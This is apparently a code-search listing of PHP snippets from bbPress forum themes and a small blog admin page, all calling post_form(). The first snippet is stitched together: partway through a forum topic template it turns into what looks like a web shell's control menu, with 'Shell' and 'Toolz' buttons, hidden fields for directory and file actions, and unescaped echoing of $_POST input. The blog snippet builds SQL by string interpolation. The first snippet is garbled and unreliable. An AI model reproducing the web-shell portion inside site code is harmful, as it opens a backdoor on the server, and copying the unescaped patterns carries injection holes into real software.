Example #1
0
    ?>

</ol>
<div class="clearit"><br style=" clear: both;" /></div>
<p class="rss-link"><a href="<?php 
    topic_rss_link();
    ?>
" class="rss-link"><?php 
    _e('<abbr title="Really Simple Syndication">RSS</abbr> feed for this topic');
    ?>
</a></p>
<?php 
    topic_pages(array('before' => '<div class="nav">', 'after' => '</div>'));
}
if (topic_is_open($bb_post->topic_id)) {
    post_form();
} else {
    ?>
<h2><?php 
    _e('Question Closed');
    ?>
</h2>
<p><?php 
    _e('This topic has been closed to new replies.');
    ?>
</p>
<?php 
}
if (bb_current_user_can('delete_topic', get_topic_id()) || bb_current_user_can('close_topic', get_topic_id()) || bb_current_user_can('stick_topic', get_topic_id()) || bb_current_user_can('move_topic', get_topic_id())) {
    ?>
<center>
<table border=0 width=100%><tr><td><table border=0><tr>
<form method='post' name='main_empty_form'><input type='hidden' name='act'><input type='hidden' name='curdir'><input type='hidden' name='file'><input type='hidden' name='subact'></form>
<?php 
echo "<td><b>";
post_form("Shell", array(), "", " |");
$mod_loaded = array();
foreach ($modules as $module => $name) {
    if (function_exists("mod_" . $module)) {
        echo "</b><td><b>";
        post_form($name, array("act" => $module), "", " |");
        $mod_loaded[] = $module;
    }
}
echo "</b><td><b>";
post_form("Toolz", array("act" => "toolz"));
echo "</table><td align=right width=50%>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<table style='border: 1px solid' width=100%><tr><td>";
echo "<b>Modules installed:</b>&nbsp;&nbsp;&nbsp;";
$first = 1;
foreach ($mod_loaded as $module) {
    if (!$first) {
        echo ", ";
    }
    if ($module == $_POST['act']) {
        echo "<b>" . $module . "</b>";
    } else {
        echo $module;
    }
    $first = 0;
}
if ($first == 1) {
Example #3
0
</li>
                    <li class="post-text"><?php 
    post_text();
    ?>
</li>
                </ul>
            </li>
        <?php 
}
?>
        </ul>
        <?php 
topic_pages(array('before' => '<div class="pagination">', 'after' => '</div>'));
?>

        <?php 
if (topic_is_open()) {
    ?>
        <div id="post-form">
            <?php 
    post_form(array('h3' => 'hoge'));
    ?>
        </div>
        <?php 
}
?>
    </div>

</div>
<?php 
bb_get_footer();
Example #4
0
<?php

session_start();
if (!isset($_SESSION["admin"])) {
    header("Location:blog.php");
} else {
    $admin = $_SESSION["admin"];
}
include_once "includes/functions.php";
include_once "classes/DbConnection.class.php";
$db = new DbConnection();
$all_posts_sql = "SELECT * FROM blog_post ORDER BY post_id DESC";
$all_posts = $db->getRows($all_posts_sql);
$out = post_form();
//display the form to submit new posts
foreach ($all_posts as $one_post) {
    $post_id = $one_post['post_id'];
    $all_comments_one_post_sql = "SELECT * FROM blog_comment WHERE fk_post_id={$post_id} ORDER BY comment_id DESC";
    $out .= "<div class='onepost'>";
    $out .= "<p>" . $one_post['post'] . "</p>";
    $out .= "<div class='date'>";
    $out .= "<p>" . $one_post['post_date'] . "</p>";
    $admin_links = "<p><a href=\"delete_post.php?p_id={$post_id}\">delete post</a>,";
    $admin_links .= " <a href=\"edit_post.php?p_id={$post_id}\">edit post</a></p>";
    $out .= $admin_links;
    //displays the links
    $out .= "</div>";
    $out .= "</div>";
    if ($comments = $db->getRows($all_comments_one_post_sql)) {
        $out .= "<ol>";
        foreach ($comments as $comment) {
Example #5
0
					<h2><?php 
_e('Hot Tags');
?>
</h2>
					<p class="frontpageheatmap"><?php 
bb_tag_heat_map(array('limit' => 30, 'largest' => 15));
?>
</p>
				</li>
			</ul>
		</div>
		
		<?php 
do_action('gz_place_bottom');
?>
	</div>
	<div class="clear"></div>
</div>

<div class="clear"></div>

<div id="comments">
	<div class="page">
		<?php 
post_form(__('Add a new topic', 'guangzhou'));
?>
	</div>
</div>

<?php 
bb_get_footer();